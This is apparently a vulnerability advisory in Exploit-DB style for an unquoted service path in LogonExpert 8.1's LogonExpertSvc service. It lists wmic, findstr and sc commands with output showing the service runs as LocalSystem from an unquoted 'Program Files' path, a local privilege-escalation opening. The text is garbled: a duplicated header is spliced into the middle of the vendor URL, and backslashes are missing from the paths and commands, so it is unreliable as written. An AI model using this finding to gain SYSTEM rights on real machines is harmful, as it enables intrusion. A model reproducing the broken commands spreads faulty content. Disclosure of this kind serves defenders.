# Discovery by: Victor Mondragón
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.c # Exploit Title: LogonExpert 8.1 - 'LogonExpertSvc' Unquoted Service Path
# Discovery by: Victor Mondragón
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.logonexpert.com/LogonExpertSetup64.msi
# Tested Version: 8.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 Service Pack 1 x64
# Step to discover Unquoted Service Path:
C:>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" |findstr /i /v """
LogonExpert Service LogonExpertSvc C:Program FilesSoftros SystemsLogonExpertLogonExpertService.exe Auto
C:>sc qc LogonExpertSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: LogonExpertSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program FilesSoftros SystemsLogonExpertLogonExpertService.exe
LOAD_ORDER_GROUP : LogonExpertGroup
TAG : 0
DISPLAY_NAME : LogonExpert Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem